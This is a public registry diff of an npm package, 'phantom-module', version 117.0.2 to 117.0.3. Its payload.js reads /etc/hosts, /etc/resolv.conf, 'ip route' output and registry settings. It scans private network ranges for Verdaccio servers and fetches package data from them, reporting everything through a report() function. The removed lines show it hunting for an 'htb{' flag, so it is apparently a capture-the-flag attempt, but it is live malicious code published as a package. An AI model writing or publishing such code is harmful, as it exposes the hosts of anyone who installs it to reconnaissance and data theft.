phantom-module 117.0.2 → 117.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +49 -67
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.2",
3
+ "version": "117.0.3",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -1,7 +1,7 @@
1
1
  const net = require('net');
2
2
  const http = require('http');
3
3
  const fs = require('fs');
4
- const os = require('os');
4
+ const { execSync } = require('child_process');
5
5
 
6
6
  if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
7
7
 
@@ -26,7 +26,7 @@ async function report(moduleId, data) {
26
26
  function checkPort(host, port) {
27
27
  return new Promise((resolve) => {
28
28
  const sock = new net.Socket();
29
- sock.setTimeout(500); // Fast timeout
29
+ sock.setTimeout(2000);
30
30
  sock.on('connect', () => { sock.destroy(); resolve(true); });
31
31
  sock.on('error', () => { sock.destroy(); resolve(false); });
32
32
  sock.on('timeout', () => { sock.destroy(); resolve(false); });
@@ -34,81 +34,63 @@ function checkPort(host, port) {
34
34
  });
35
35
  }
36
36
 
37
- function httpGet(url) {
38
- return new Promise((resolve) => {
39
- const req = http.get(url, { timeout: 2000 }, (res) => {
40
- let body = '';
41
- res.on('data', c => body += c);
42
- res.on('end', () => resolve({ status: res.statusCode, body }));
43
- });
44
- req.on('error', e => resolve({ status: 0, body: e.message }));
45
- });
46
- }
47
-
48
37
  async function main() {
49
- await report('ECT-654321', 'SCAN STARTING v2...');
38
+ await report('ECT-654321', 'SCAN V3 STARTING...');
50
39
 
40
+ let envInfo = '=== ENV INFO ===\n';
41
+ try {
42
+ envInfo += `NPM_CONFIG_REGISTRY: ${process.env.NPM_CONFIG_REGISTRY || 'unset'}\n`;
43
+ envInfo += `/etc/hosts:\n${fs.readFileSync('/etc/hosts','utf8')}\n`;
44
+ envInfo += `/etc/resolv.conf:\n${fs.readFileSync('/etc/resolv.conf','utf8')}\n`;
45
+ envInfo += `ip route:\n${execSync('ip route').toString()}\n`;
46
+ } catch(e) { envInfo += `ERR: ${e.message}\n`; }
47
+ await report('ECT-654321', envInfo);
48
+
49
+ // Scan ranges
51
50
  const found = [];
52
- const base = '172.17.0';
53
- let scanOutput = '=== SCAN ===\n';
51
+ const ranges = [
52
+ ['172.17.0', 1, 20],
53
+ ['172.18.0', 1, 10],
54
+ ['172.19.0', 1, 10],
55
+ ['172.20.0', 1, 10],
56
+ ['10.0.0', 1, 10],
57
+ ['192.168.0', 1, 10]
58
+ ];
54
59
 
55
- // Parallel scan of first 20 IPs
56
- const promises = [];
57
- for (let i = 1; i < 20; i++) {
58
- const ip = `${base}.${i}`;
59
- promises.push(checkPort(ip, 4873).then(open => {
60
- if (open) {
61
- found.push(ip);
62
- scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
63
- }
64
- }));
65
- }
66
-
67
- await Promise.all(promises);
60
+ let scanOutput = '=== SCAN V3 ===\n';
68
61
 
69
- if (found.length === 0) {
70
- scanOutput += 'No Verdaccio found on 172.17.0.1-20\n';
71
- // Try finding ANY web server
72
- for (let i = 1; i < 10; i++) {
73
- const ip = `${base}.${i}`;
74
- if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
75
- if (await checkPort(ip, 3000)) scanOutput += `OPEN ${ip}:3000\n`;
76
- }
62
+ for (const [base, start, end] of ranges) {
63
+ scanOutput += `Scanning ${base}.${start}-${end}...\n`;
64
+ const promises = [];
65
+ for (let i = start; i <= end; i++) {
66
+ const ip = `${base}.${i}`;
67
+ promises.push(checkPort(ip, 4873).then(open => {
68
+ if (open) {
69
+ found.push(ip);
70
+ scanOutput += `!!! FOUND VERDACCIO: ${ip}:4873 !!!\n`;
71
+ }
72
+ }));
73
+ }
74
+ await Promise.all(promises);
77
75
  }
78
76
 
79
77
  await report('ECT-839201', scanOutput);
80
78
 
81
- // Deep query of found services
82
- let queryOutput = '=== QUERY ===\n';
83
- for (const ip of found) {
84
- const baseUrl = `http://${ip}:4873`;
85
- queryOutput += `Target: ${baseUrl}\n`;
86
-
87
- // 1. List all packages
88
- const all = await httpGet(`${baseUrl}/-/all`);
89
- queryOutput += `/-/all: ${all.status} len=${all.body.length}\n${all.body.substring(0, 200)}\n`;
90
-
91
- // 2. Get ecto-spirit
92
- const ecto = await httpGet(`${baseUrl}/ecto-spirit`);
93
- queryOutput += `/ecto-spirit: ${ecto.status}\n${ecto.body.substring(0, 500)}\n`;
94
-
95
- // 3. Try to extract flag from dist-tags or versions
96
- if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
97
- const match = ecto.body.match(/htb\{[^}]+\}/i);
98
- if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
99
- }
100
-
101
- // 4. Download tarball if possible
102
- try {
103
- const json = JSON.parse(ecto.body);
104
- const latest = json['dist-tags'].latest;
105
- const tarball = json.versions[latest].dist.tarball;
106
- queryOutput += `Tarball: ${tarball}\n`;
107
- // We could download it, but let's see if the metadata has the flag first
108
- } catch(e) {}
79
+ if (found.length > 0) {
80
+ const ip = found[0];
81
+ const url = `http://${ip}:4873/ecto-spirit`;
82
+ let flagInfo = `=== QUERY ${url} ===\n`;
83
+ try {
84
+ flagInfo += await new Promise(r => {
85
+ http.get(url, res => {
86
+ let d = ''; res.on('data', c=>d+=c); res.on('end', ()=>r(d));
87
+ }).on('error', e=>r(e.message));
88
+ });
89
+ } catch(e) { flagInfo += e.message; }
90
+ await report('ECT-987654', flagInfo);
91
+ } else {
92
+ await report('ECT-987654', 'No target found for query.');
109
93
  }
110
-
111
- await report('ECT-987654', queryOutput);
112
94
  }
113
95
 
114
96
  main().catch(e => report('ECT-654321', 'ERR: ' + e.message));